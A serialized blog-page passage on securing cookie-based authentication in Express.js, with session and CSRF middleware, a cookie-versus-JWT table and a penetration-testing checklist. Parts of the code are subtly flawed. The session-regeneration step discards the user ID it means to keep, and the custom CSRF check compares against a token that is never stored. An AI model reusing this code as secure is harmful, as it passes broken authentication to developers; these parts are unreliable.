'production',\n",[107,1300,1301],{"class":109,"line":152},[107,1302,1303],{},"    sameSite: 'strict',\n",[107,1305,1306],{"class":109,"line":295},[107,1307,1308],{},"    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n",[107,1310,1311],{"class":109,"line":301},[107,1312,1313],{},"    path: '/',\n",[107,1315,1316],{"class":109,"line":307},[107,1317,1318],{},"    domain: process.env.COOKIE_DOMAIN\n",[107,1320,1321],{"class":109,"line":313},[107,1322,1323],{},"  },\n",[107,1325,1326],{"class":109,"line":319},[107,1327,1328],{},"  resave: false,\n",[107,1330,1331],{"class":109,"line":324},[107,1332,1333],{},"  saveUninitialized: false,\n",[107,1335,1336],{"class":109,"line":864},[107,1337,1338],{},"  rolling: true, // Extend session on activity\n",[107,1340,1341],{"class":109,"line":870},[107,1342,1343],{},"  unset: 'destroy' // Remove session from response\n",[107,1345,1346],{"class":109,"line":876},[107,1347,705],{},[107,1349,1350],{"class":109,"line":882},[107,1351,807],{"emptyLinePlaceholder":806},[107,1353,1354],{"class":109,"line":888},[107,1355,1356],{},"// Session fixation protection\n",[107,1358,1359],{"class":109,"line":894},[107,1360,836],{},[107,1362,1363],{"class":109,"line":900},[107,1364,1365],{},"  if (req.session.userId && !req.session.authenticated) {\n",[107,1367,1368],{"class":109,"line":905},[107,1369,1370],{},"    // Regenerate session ID after login\n",[107,1372,1373],{"class":109,"line":910},[107,1374,1375],{},"    req.session.regenerate((err) => {\n",[107,1377,1378],{"class":109,"line":916},[107,1379,1380],{},"      if (err) return next(err);\n",[107,1382,1383],{"class":109,"line":921},[107,1384,1385],{},"      req.session.userId = req.session.userId;\n",[107,1387,1388],{"class":109,"line":926},[107,1389,1390],{},"      req.session.authenticated = true;\n",[107,1392,1393],{"class":109,"line":932},[107,1394,1395],{},"      next();\n",[107,1397,1398],{"class":109,"line":938},[107,1399,1065],{},[107,1401,1402],{"class":109,"line":944},[107,1403,1404],{},"  } else {\n",[107,1406,1407],{"class":109,"line":1100},[107,1408,1409],{},"    next();\n",[107,1411,1412],{"class":109,"line":1106},[107,1413,700],{},[107,1415,1416],{"class":109,"line":1112},[107,1417,212],{},[36,1419,1421],{"id":1420},"comparison-cookies-vs-jwt","🔄 Comparison: Cookies vs JWT",[1423,1424,1425,1441],"table",{},[1426,1427,1428],"thead",{},[1429,1430,1431,1435,1438],"tr",{},[1432,1433,1434],"th",{},"Feature",[1432,1436,1437],{},"Cookies",[1432,1439,1440],{},"JWT",[1442,1443,1444,1456,1467,1478,1489,1498,1509],"tbody",{},[1429,1445,1446,1450,1453],{},[1447,1448,1449],"td",{},"Security",[1447,1451,1452],{},"Higher with httpOnly",[1447,1454,1455],{},"Lower (stored in localStorage)",[1429,1457,1458,1461,1464],{},[1447,1459,1460],{},"Size",[1447,1462,1463],{},"Small",[1447,1465,1466],{},"Larger",[1429,1468,1469,1472,1475],{},[1447,1470,1471],{},"Storage",[1447,1473,1474],{},"Automatic",[1447,1476,1477],{},"Manual",[1429,1479,1480,1483,1486],{},[1447,1481,1482],{},"CSRF",[1447,1484,1485],{},"Vulnerable",[1447,1487,1488],{},"Protected",[1429,1490,1491,1494,1496],{},[1447,1492,1493],{},"XSS",[1447,1495,1488],{},[1447,1497,1485],{},[1429,1499,1500,1503,1506],{},[1447,1501,1502],{},"Session Management",[1447,1504,1505],{},"Server-side",[1447,1507,1508],{},"Client-side",[1429,1510,1511,1514,1517],{},[1447,1512,1513],{},"Revocation",[1447,1515,1516],{},"Easy",[1447,1518,1519],{},"Difficult",[36,1521,1523],{"id":1522},"advanced-implementation-tips","💡 Advanced Implementation Tips",[225,1525,1526,1532,1538,1544,1550,1556,1562,1568],{},[165,1527,1528,1531],{},[83,1529,1530],{},"Always use HTTPS"," - Cookies are not secure on HTTP",[165,1533,1534,1537],{},[83,1535,1536],{},"Regenerate session ID"," after login/logout and privilege changes",[165,1539,1540,1543],{},[83,1541,1542],{},"Use secure random tokens"," - Don't use predictable values",[165,1545,1546,1549],{},[83,1547,1548],{},"Monitor attack attempts"," - Implement comprehensive logging and monitoring",[165,1551,1552,1555],{},[83,1553,1554],{},"Test application security"," - Use tools like OWASP ZAP, Burp Suite",[165,1557,1558,1561],{},[83,1559,1560],{},"Implement defense in depth"," - Multiple security layers",[165,1563,1564,1567],{},[83,1565,1566],{},"Regular security audits"," - Penetration testing and code reviews",[165,1569,1570,1573],{},[83,1571,1572],{},"Stay updated"," - Keep security libraries and dependencies current",[36,1575,1577],{"id":1576},"complete-security-first-expressjs-setup","🚀 Complete Security-First Express.js Setup",[98,1579,1581],{"className":100,"code":1580,"language":102,"meta":103,"style":103},"// Complete Express.js setup with advanced security\nconst express = require('express');\nconst session = require('express-session');\nconst helmet = require('helmet');\nconst rateLimit = require('express-rate-limit');\nconst RedisStore = require('connect-redis').default;\nconst redis = require('redis');\nconst csrf = require('csurf');\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\n\nconst app = express();\n\n// Initialize Redis\nconst redisClient = redis.createClient({\n  host: process.env.REDIS_HOST,\n  port: process.env.REDIS_PORT,\n  password: process.env.REDIS_PASSWORD\n});\n\n// Security middleware\napp.use(helmet({\n  contentSecurityPolicy: {\n    directives: {\n      defaultSrc: [\"'self'\"],\n      scriptSrc: [\"'self'\", \"'nonce-${nonce}'\"],\n      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n      connectSrc: [\"'self'\"],\n      frameAncestors: [\"'none'\"]\n    }\n  },\n  hsts: {\n    maxAge: 31536000,\n    includeSubDomains: true,\n    preload: true\n  }\n}));\n\n// Additional security headers\napp.use(hpp()); // Protect against HTTP Parameter Pollution\napp.use(xss()); // XSS protection\n\n// Rate limiting\nconst globalLimiter = rateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // Limit each IP to 100 requests per windowMs\n  message: 'Too many requests from this IP'\n});\n\napp.use(globalLimiter);\n\n// Session configuration\napp.use(session({\n  store: new RedisStore({ client: redisClient }),\n  secret: process.env.SESSION_SECRET,\n  name: 'sessionId',\n  cookie: {\n    httpOnly: true,\n    secure: process.env.NODE_ENV === 'production',\n    sameSite: 'strict',\n    maxAge: 1000 * 60 * 60 * 2, // 2 hours\n    path: '/',\n    domain: process.env.COOKIE_DOMAIN\n  },\n  resave: false,\n  saveUninitialized: false,\n  rolling: true\n}));\n\n// CSRF protection\napp.use(csrf({ cookie: true }));\n\n// CSRF token middleware\napp.use((req, res, next) => {\n  res.locals.csrfToken = req.csrfToken();\n  next();\n});\n\n// Enhanced CSRF validation\napp.use((req, res, next) => {\n  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {\n    const token = req.headers['x-csrf-token'] || req.body._csrf;\n    if (!token || token !== req.session.csrfToken) {\n      return res.status(403).json({ error: 'CSRF token invalid' });\n    }\n    \n    // Origin verification\n    const origin = req.headers.origin || req.headers.referer;\n    if (origin && !isValidOrigin(origin)) {\n      return res.status(403).json({ error: 'Invalid origin' });\n    }\n  }\n  next();\n});\n\n// Security headers middleware\napp.use((req, res, next) => {\n  res.setHeader('X-Content-Type-Options', 'nosniff');\n  res.setHeader('X-Frame-Options', 'DENY');\n  res.setHeader('X-XSS-Protection', '1; mode=block');\n  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');\n  next();\n});\n\nfunction isValidOrigin(origin) {\n  const allowedOrigins = [\n    'https://yourdomain.com',\n    'https://app.yourdomain.com',\n    'https://api.yourdomain.com'\n  ];\n  return allowedOrigins.some(allowed => origin.startsWith(allowed));\n}\n",[88,1582,1583,1588,1593,1598,1602,1606,1611,1616,1620,1624,1629,1633,1638,1642,1647,1652,1657,1662,1667,1671,1675,1680,1685,1690,1695,1700,1705,1710,1715,1720,1725,1729,1733,1738,1743,1748,1754,1759,1764,1769,1775,1781,1787,1792,1798,1804,1809,1815,1821,1826,1831,1837,1842,1848,1853,1859,1864,1870,1875,1880,1885,1890,1895,1900,1905,1910,1915,1920,1926,1931,1936,1942,1947,1952,1958,1963,1969,1974,1979,1984,1990,1995,2001,2006,2011,2016,2021,2026,2032,2037,2042,2047,2052,2057,2062,2067,2072,2078,2083,2089,2095,2101,2107,2112,2117,2122,2127,2133,2139,2145,2151,2157,2162],{"__ignoreMap":103},[107,1584,1585],{"class":109,"line":110},[107,1586,1587],{},"// Complete Express.js setup with advanced security\n",[107,1589,1590],{"class":109,"line":116},[107,1591,1592],{},"const express = require('express');\n",[107,1594,1595],{"class":109,"line":122},[107,1596,1597],{},"const session = require('express-session');\n",[107,1599,1600],{"class":109,"line":128},[107,1601,801],{},[107,1603,1604],{"class":109,"line":134},[107,1605,961],{},[107,1607,1608],{"class":109,"line":140},[107,1609,1610],{},"const RedisStore = require('connect-redis').default;\n",[107,1612,1613],{"class":109,"line":146},[107,1614,1615],{},"const redis = require('redis');\n",[107,1617,1618],{"class":109,"line":152},[107,1619,796],{},[107,1621,1622],{"class":109,"line":295},[107,1623,1145],{},[107,1625,1626],{"class":109,"line":301},[107,1627,1628],{},"const hpp = require('hpp');\n",[107,1630,1631],{"class":109,"line":307},[107,1632,807],{"emptyLinePlaceholder":806},[107,1634,1635],{"class":109,"line":313},[107,1636,1637],{},"const app = express();\n",[107,1639,1640],{"class":109,"line":319},[107,1641,807],{"emptyLinePlaceholder":806},[107,1643,1644],{"class":109,"line":324},[107,1645,1646],{},"// Initialize Redis\n",[107,1648,1649],{"class":109,"line":864},[107,1650,1651],{},"const redisClient = redis.createClient({\n",[107,1653,1654],{"class":109,"line":870},[107,1655,1656],{},"  host: process.env.REDIS_HOST,\n",[107,1658,1659],{"class":109,"line":876},[107,1660,1661],{},"  port: process.env.REDIS_PORT,\n",[107,1663,1664],{"class":109,"line":882},[107,1665,1666],{},"  password: process.env.REDIS_PASSWORD\n",[107,1668,1669],{"class":109,"line":888},[107,1670,212],{},[107,1672,1673],{"class":109,"line":894},[107,1674,807],{"emptyLinePlaceholder":806},[107,1676,1677],{"class":109,"line":900},[107,1678,1679],{},"// Security middleware\n",[107,1681,1682],{"class":109,"line":905},[107,1683,1684],{},"app.use(helmet({\n",[107,1686,1687],{"class":109,"line":910},[107,1688,1689],{},"  contentSecurityPolicy: {\n",[107,1691,1692],{"class":109,"line":916},[107,1693,1694],{},"    directives: {\n",[107,1696,1697],{"class":109,"line":921},[107,1698,1699],{},"      defaultSrc: [\"'self'\"],\n",[107,1701,1702],{"class":109,"line":926},[107,1703,1704],{},"      scriptSrc: [\"'self'\", \"'nonce-${nonce}'\"],\n",[107,1706,1707],{"class":109,"line":932},[107,1708,1709],{},"      styleSrc: [\"'self'\", \"'unsafe-inline'\"],\n",[107,1711,1712],{"class":109,"line":938},[107,1713,1714],{},"      imgSrc: [\"'self'\", \"data:\", \"https:\"],\n",[107,1716,1717],{"class":109,"line":944},[107,1718,1719],{},"      connectSrc: [\"'self'\"],\n",[107,1721,1722],{"class":109,"line":1100},[107,1723,1724],{},"      frameAncestors: [\"'none'\"]\n",[107,1726,1727],{"class":109,"line":1106},[107,1728,867],{},[107,1730,1731],{"class":109,"line":1112},[107,1732,1323],{},[107,1734,1735],{"class":109,"line":1117},[107,1736,1737],{},"  hsts: {\n",[107,1739,1740],{"class":109,"line":1122},[107,1741,1742],{},"    maxAge: 31536000,\n",[107,1744,1745],{"class":109,"line":1128},[107,1746,1747],{},"    includeSubDomains: true,\n",[107,1749,1751],{"class":109,"line":1750},36,[107,1752,1753],{},"    preload: true\n",[107,1755,1757],{"class":109,"line":1756},37,[107,1758,700],{},[107,1760,1762],{"class":109,"line":1761},38,[107,1763,705],{},[107,1765,1767],{"class":109,"line":1766},39,[107,1768,807],{"emptyLinePlaceholder":806},[107,1770,1772],{"class":109,"line":1771},40,[107,1773,1774],{},"// Additional security headers\n",[107,1776,1778],{"class":109,"line":1777},41,[107,1779,1780],{},"app.use(hpp()); // Protect against HTTP Parameter Pollution\n",[107,1782,1784],{"class":109,"line":1783},42,[107,1785,1786],{},"app.use(xss()); // XSS protection\n",[107,1788,1790],{"class":109,"line":1789},43,[107,1791,807],{"emptyLinePlaceholder":806},[107,1793,1795],{"class":109,"line":1794},44,[107,1796,1797],{},"// Rate limiting\n",[107,1799,1801],{"class":109,"line":1800},45,[107,1802,1803],{},"const globalLimiter = rateLimit({\n",[107,1805,1807],{"class":109,"line":1806},46,[107,1808,1005],{},[107,1810,1812],{"class":109,"line":1811},47,[107,1813,1814],{},"  max: 100, // Limit each IP to 100 requests per windowMs\n",[107,1816,1818],{"class":109,"line":1817},48,[107,1819,1820],{},"  message: 'Too many requests from this IP'\n",[107,1822,1824],{"class":109,"line":1823},49,[107,1825,212],{},[107,1827,1829],{"class":109,"line":1828},50,[107,1830,807],{"emptyLinePlaceholder":806},[107,1832,1834],{"class":109,"line":1833},51,[107,1835,1836],{},"app.use(globalLimiter);\n",[107,1838,1840],{"class":109,"line":1839},52,[107,1841,807],{"emptyLinePlaceholder":806},[107,1843,1845],{"class":109,"line":1844},53,[107,1846,1847],{},"// Session configuration\n",[107,1849,1851],{"class":109,"line":1850},54,[107,1852,650],{},[107,1854,1856],{"class":109,"line":1855},55,[107,1857,1858],{},"  store: new RedisStore({ client: redisClient }),\n",[107,1860,1862],{"class":109,"line":1861},56,[107,1863,655],{},[107,1865,1867],{"class":109,"line":1866},57,[107,1868,1869],{},"  name: 'sessionId',\n",[107,1871,1873],{"class":109,"line":1872},58,[107,1874,660],{},[107,1876,1878],{"class":109,"line":1877},59,[107,1879,1293],{},[107,1881,1883],{"class":109,"line":1882},60,[107,1884,1298],{},[107,1886,1888],{"class":109,"line":1887},61,[107,1889,1303],{},[107,1891,1893],{"class":109,"line":1892},62,[107,1894,1308],{},[107,1896,1898],{"class":109,"line":1897},63,[107,1899,1313],{},[107,1901,1903],{"class":109,"line":1902},64,[107,1904,1318],{},[107,1906,1908],{"class":109,"line":1907},65,[107,1909,1323],{},[107,1911,1913],{"class":109,"line":1912},66,[107,1914,1328],{},[107,1916,1918],{"class":109,"line":1917},67,[107,1919,1333],{},[107,1921,1923],{"class":109,"line":1922},68,[107,1924,1925],{},"  rolling: true\n",[107,1927,1929],{"class":109,"line":1928},69,[107,1930,705],{},[107,1932,1934],{"class":109,"line":1933},70,[107,1935,807],{"emptyLinePlaceholder":806},[107,1937,1939],{"class":109,"line":1938},71,[107,1940,1941],{},"// CSRF protection\n",[107,1943,1945],{"class":109,"line":1944},72,[107,1946,822],{},[107,1948,1950],{"class":109,"line":1949},73,[107,1951,807],{"emptyLinePlaceholder":806},[107,1953,1955],{"class":109,"line":1954},74,[107,1956,1957],{},"// CSRF token middleware\n",[107,1959,1961],{"class":109,"line":1960},75,[107,1962,836],{},[107,1964,1966],{"class":109,"line":1965},76,[107,1967,1968],{},"  res.locals.csrfToken = req.csrfToken();\n",[107,1970,1972],{"class":109,"line":1971},77,[107,1973,913],{},[107,1975,1977],{"class":109,"line":1976},78,[107,1978,212],{},[107,1980,1982],{"class":109,"line":1981},79,[107,1983,807],{"emptyLinePlaceholder":806},[107,1985,1987],{"class":109,"line":1986},80,[107,1988,1989],{},"// Enhanced CSRF validation\n",[107,1991,1993],{"class":109,"line":1992},81,[107,1994,836],{},[107,1996,1998],{"class":109,"line":1997},82,[107,1999,2000],{},"  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {\n",[107,2002,2004],{"class":109,"line":2003},83,[107,2005,851],{},[107,2007,2009],{"class":109,"line":2008},84,[107,2010,856],{},[107,2012,2014],{"class":109,"line":2013},85,[107,2015,861],{},[107,2017,2019],{"class":109,"line":2018},86,[107,2020,867],{},[107,2022,2024],{"class":109,"line":2023},87,[107,2025,873],{},[107,2027,2029],{"class":109,"line":2028},88,[107,2030,2031],{},"    // Origin verification\n",[107,2033,2035],{"class":109,"line":2034},89,[107,2036,885],{},[107,2038,2040],{"class":109,"line":2039},90,[107,2041,891],{},[107,2043,2045],{"class":109,"line":2044},91,[107,2046,897],{},[107,2048,2050],{"class":109,"line":2049},92,[107,2051,867],{},[107,2053,2055],{"class":109,"line":2054},93,[107,2056,700],{},[107,2058,2060],{"class":109,"line":2059},94,[107,2061,913],{},[107,2063,2065],{"class":109,"line":2064},95,[107,2066,212],{},[107,2068,2070],{"class":109,"line":2069},96,[107,2071,807],{"emptyLinePlaceholder":806},[107,2073,2075],{"class":109,"line":2074},97,[107,2076,2077],{},"// Security headers middleware\n",[107,2079,2081],{"class":109,"line":2080},98,[107,2082,836],{},[107,2084,2086],{"class":109,"line":2085},99,[107,2087,2088],{},"  res.setHeader('X-Content-Type-Options', 'nosniff');\n",[107,2090,2092],{"class":109,"line":2091},100,[107,2093,2094],{},"  res.setHeader('X-Frame-Options', 'DENY');\n",[107,2096,2098],{"class":109,"line":2097},101,[107,2099,2100],{},"  res.setHeader('X-XSS-Protection', '1; mode=block');\n",[107,2102,2104],{"class":109,"line":2103},102,[107,2105,2106],{},"  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');\n",[107,2108,2110],{"class":109,"line":2109},103,[107,2111,913],{},[107,2113,2115],{"class":109,"line":2114},104,[107,2116,212],{},[107,2118,2120],{"class":109,"line":2119},105,[107,2121,807],{"emptyLinePlaceholder":806},[107,2123,2125],{"class":109,"line":2124},106,[107,2126,929],{},[107,2128,2130],{"class":109,"line":2129},107,[107,2131,2132],{},"  const allowedOrigins = [\n",[107,2134,2136],{"class":109,"line":2135},108,[107,2137,2138],{},"    'https://yourdomain.com',\n",[107,2140,2142],{"class":109,"line":2141},109,[107,2143,2144],{},"    'https://app.yourdomain.com',\n",[107,2146,2148],{"class":109,"line":2147},110,[107,2149,2150],{},"    'https://api.yourdomain.com'\n",[107,2152,2154],{"class":109,"line":2153},111,[107,2155,2156],{},"  ];\n",[107,2158,2160],{"class":109,"line":2159},112,[107,2161,941],{},[107,2163,2165],{"class":109,"line":2164},113,[107,2166,947],{},[36,2168,2170],{"id":2169},"penetration-testing-checklist","🔍 Penetration Testing Checklist",[32,2172,2173],{},"Based on real-world attack scenarios, here's what attackers look for:",[162,2175,2178,2190,2199,2207,2216,2225,2234,2243],{"className":2176},[2177],"contains-task-list",[165,2179,2182,2185,2186,2189],{"className":2180},[2181],"task-list-item",[401,2183],{"disabled":806,"type":2184},"checkbox"," ",[83,2187,2188],{},"XSS Vulnerabilities",": Input fields, search parameters, user-generated content",[165,2191,2193,2185,2195,2198],{"className":2192},[2181],[401,2194],{"disabled":806,"type":2184},[83,2196,2197],{},"CSRF Vulnerabilities",": Sensitive actions without proper tokens",[165,2200,2202,2185,2204,2206],{"className":2201},[2181],[401,2203],{"disabled":806,"type":2184},[83,2205,1502],{},": Predictable session IDs, session fixation",[165,2208,2210,2185,2212,2215],{"className":2209},[2181],[401,2211],{"disabled":806,"type":2184},[83,2213,2214],{},"Cookie Security",": Missing httpOnly, secure, or sameSite flags",[165,2217,2219,2185,2221,2224],{"className":2218},[2181],[401,2220],{"disabled":806,"type":2184},[83,2222,2223],{},"Input Validation",": Insufficient sanitization and validation",[165,2226,2228,2185,2230,2233],{"className":2227},[2181],[401,2229],{"disabled":806,"type":2184},[83,2231,2232],{},"Rate Limiting",": Missing or weak rate limiting on sensitive endpoints",[165,2235,2237,2185,2239,2242],{"className":2236},[2181],[401,2238],{"disabled":806,"type":2184},[83,2240,2241],{},"CSP Implementation",": Weak or missing Content Security Policy",[165,2244,2246,2185,2248,2251],{"className":2245},[2181],[401,2247],{"disabled":806,"type":2184},[83,2249,2250],{},"Origin Verification",": Missing origin/referrer checks",[36,2253,2255],{"id":2254},"discussion-questions","🤔 Discussion Questions",[32,2257,2258],{},"💡 Do you prefer authentication with cookies or JWT? And if you were building an auth system, how would you secure it?",[32,2260,2261],{},"What advanced security measures have you implemented in your applications? Share your experiences! 💪🔥",[36,2263,2265],{"id":2264},"additional-resources","📚 Additional Resources",[162,2267,2268,2277,2284,2291,2298,2305],{},[165,2269,2270],{},[2271,2272,2276],"a",{"href":2273,"rel":2274},"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html",[2275],"nofollow","OWASP Authentication Cheat Sheet",[165,2278,2279],{},[2271,2280,2283],{"href":2281,"rel":2282},"https://owasp.org/www-project-top-ten/",[2275],"OWASP Top 10 Web Application Security Risks",[165,2285,2286],{},[2271,2287,2290],{"href":2288,"rel":2289},"https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies",[2275],"MDN HTTP Cookies",[165,2292,2293],{},[2271,2294,2297],{"href":2295,"rel":2296},"https://expressjs.com/en/advanced/best-practices-security.html",[2275],"Express.js Security Best Practices",[165,2299,2300],{},[2271,2301,2304],{"href":2302,"rel":2303},"https://www.w3.org/TR/CSP3/",[2275],"Content Security Policy Level 3",[165,2306,2307],{},[2271,2308,2311],{"href":2309,"rel":2310},"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite",[2275],"SameSite Cookie Attribute",[2313,2314],"hr",{},[32,2316,2317],{},[2318,2319,2320],"em",{},"This article was originally published on LinkedIn. Special thanks to Mohammed Khalid (Penetration Tester @ATW Ltd) for the advanced security insights and real-world attack perspectives. Follow me for more tips on web development and security!",[2322,2323,2324],"style",{},"html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}",{"title":103,"searchDepth":116,"depth":116,"links":2326},[2327,2333,2337,2345,2346,2347,2348,2349,2350],{"id":38,"depth":116,"text":39,"children":2328},[2329,2330,2331,2332],{"id":43,"depth":122,"text":44},{"id":50,"depth":122,"text":51},{"id":57,"depth":122,"text":58},{"id":64,"depth":122,"text":65},{"id":71,"depth":116,"text":72,"children":2334},[2335,2336],{"id":78,"depth":122,"text":79},{"id":329,"depth":122,"text":330},{"id":635,"depth":116,"text":636,"children":2338},[2339,2340,2341,2342,2343,2344],{"id":639,"depth":122,"text":640},{"id":708,"depth":122,"text":709},{"id":785,"depth":122,"text":786},{"id":950,"depth":122,"text":951},{"id":1134,"depth":122,"text":1135},{"id":1260,"depth":122,"text":1261},{"id":1420,"depth":116,"text":1421},{"id":1522,"depth":116,"text":1523},{"id":1576,"depth":116,"text":1577},{"id":2169,"depth":116,"text":2170},{"id":2254,"depth":116,"text":2255},{"id":2264,"depth":116,"text":2265},"2025-03-10T00:00:00.000Z","A comprehensive guide to cookie-based authentication systems, how they work, security risks, and how to avoid them. Includes advanced penetration testing insights and real-world attack scenarios.","md","https://miro.medium.com/v2/resize:fit:1400/1*qzfEGrCI1hcp0xU1mNFWuA.png",{"tags":2356},[2357,1449,1437,2358,2359,2360],"Authentication","Web Development","Penetration Testing","Advanced Security",{"title":14,"description":2352},"5b6mOvcVJYVOWcixi7u9ZYUQGWA40eJsjAyrt1rny-4",[2364,2366],{"title":10,"path":11,"stem":12,"description":2365,"children":-1},"A detailed journey of building @eslamdevui/ui, a custom Nuxt UI package born from actual project requirements and daily development challenges.",{"title":18,"path":19,"stem":20,"description":2367,"children":-1},"A detailed account of my experience upgrading a project from Nuxt 2 to Vue 3, replacing Vuex with Pinia, and the valuable lessons learned along the way.",1782857531467]